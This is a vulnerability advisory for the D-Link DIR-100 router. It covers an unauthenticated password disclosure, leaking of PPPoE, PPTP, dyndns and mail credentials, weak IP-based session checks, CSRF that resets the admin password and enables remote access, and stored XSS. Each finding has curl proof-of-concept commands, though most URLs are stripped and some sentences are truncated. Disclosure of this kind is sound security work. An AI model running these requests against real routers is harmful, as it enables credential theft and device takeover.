5. Timeline  
# 1. Background  
The DIR-100 is designed for easy and robust connectivity among heterogeneous  
standards-based network devices. Computers can communicate directly with this  
router for automatic opening and closing of UDP/TCP ports to take full  
advantage of the security provided without sacrificing functionality of on-line  
# 2 Vulnerability Description  
Multiple vulnerabilities have been found in the D-Link DIR-100 Ethernet  
Broadband Router Revision D (and potentially other devices sharing the   
affected firmware) that could allow a remote attacker:  
- Retrieve the Administrator password without authentication leading to  
authentication bypass [CWE-255]  
- Retrieve sensitive configuration paramters like the pppoe username and  
password without authentication [CWE-200]  
- Execute privileged Commands without authentication through a race  
condition leading to weak authentication enforcement [CWE-287]  
- Sending formatted request to a victim which then will execute arbitrary  
commands on the device (CSRF) [CWE-352]  
- Store arbitrary javascript code which will be executed when a victim  
accesses the administrator interface [CWE-79]  
CVE-Numbers for these vulnerabilities has not yet been assigned.  
# 3 Technical Description of the Vulnerabilities  
## 3.0 The DIR-100 Web Interface and CGI  
The DIR-100 Web interface provides a cgi-script on `/cliget.cgi` for  
unauthenticated users and `/cli.cgi` for authenticated requests.  
list of features provided by each cgi-script can be retrieved by:  
curl ''  
# and respectively when authenticated  
curl ''  
## 3.1 Authentication Bypass  
### Description  
The administrator password is not protected in any way on the device, every  
attacker with access to the administrator interface which listens on port 80.  
For retrieving the Administrator password the request must not be  
### Proof of Concept  
The web interface provides two distinct ways to retrieve the adminstrator  
curl '$sys_user1'  
curl ''  
## 3.2 Weak Authentication  
### Description  
As soon as a user is logged into the administration interface, the cli CGI  
is `unlocked` and can be used by without authenticating before as  
the cgi-script does not check any other authentication parameters such as  
cookies or HTTP Parameters. The only access check is if the IP-Address is   
the same.   
### Proof of Concept  
# open the router interface in a web browser and log in  
firefox ''   
# open a new terminal or another web-browser which is currently not logged  
# in and try to access  
curl ''  
# this request will be authenticated and it will not be redirected to the  
# login page. If no user is logged in, the request will be redirected to  
# the login   
## 3.3 Retrieve sensitive information  
### Description  
Besides retrieving the administrator password without authentication it is  
possible to retrieve other sensitive configuration from the device as well like  
the PPTP and poe Username and Password, as well as the configured dyndns  
username and password and configured mail log credentials when these parameters  
are configured.   
No authentication is requred.  
### Proof of Concept  
curl '$ddns1'  
curl '$poe_user'  
curl '$poe_pass'  
curl '$pptp_user'  
curl '$pptp_pass'  
curl '$log_mail_user'  
curl '$log_mail_pwd'  
## 3.4 Cross-Site Request Forgery (CSRF)  
### Description  
CSRF attacks can be launched by sending a formatted request to a victim, then  
tricking the victim into loading the request (often automatically), which  
makes it appear that the request came from the victim. As an example the  
attacker could change the administrator password (see Proof of Concept code)  
and enable system remote access.  
### Proof of Concept  
Changing the password for administrator can be done when the ip-address is  
# Log into DIR-100  
curl -X POST -d 'uname=admin&pws=password&login=Login' ''  
# Change password  
curl '$sys_user1=user=admin&pass=c%;$sys_passHash=4%25;commit'  
# enable remote console  
curl '$sys_remote_enable=1%25;$sys_remote_ip=;$sys_remote_port=80%25;commit'  
## 3.5 Cross-Site Scripting (XSS)  
### Description  
It is possible for an authenticated user to store information on the server  
which will not be checked on the server side for special characters which  
results in persistent Cross-Site Scripting Vulnerabilities. With this  
vulnerabilty the victim (administrator) will run javascript code in the   
context of the D-Link DIR-100.  
XSS is possible because only on the client side (javascript code) the input is  
filtered and validated, sending data directly to the CGI scripts.  
### Proof of Concept  
# Log into DIR-100  
curl -X POST -d 'uname=admin&pws=password&login=Login' ''  
# XSS in Static IP Address Tab  
curl '<script>alert(1)</script>%26ip='  
# XSS in Scheduler tab  
curl '$sched2=schen=1%26time=0-60%26day=5%26desc=<script>alert(1)</script>%26use=0%26idx=2%26;commit'  
# 4 Severity and Remediation  
This exploits are considered very critical, especially when the feature of remote  
administration is activated on the system.   
Weak authentication, together with cross-site request forgery and authentication   
bypass can result in a full device compromise from an arbitrary website the victim is  
accessing, even if the device has remote administration deactivated on the  
internet-port. It is recommended to upgrade the router with the newest firmware  
of the D-Link DIR-100.
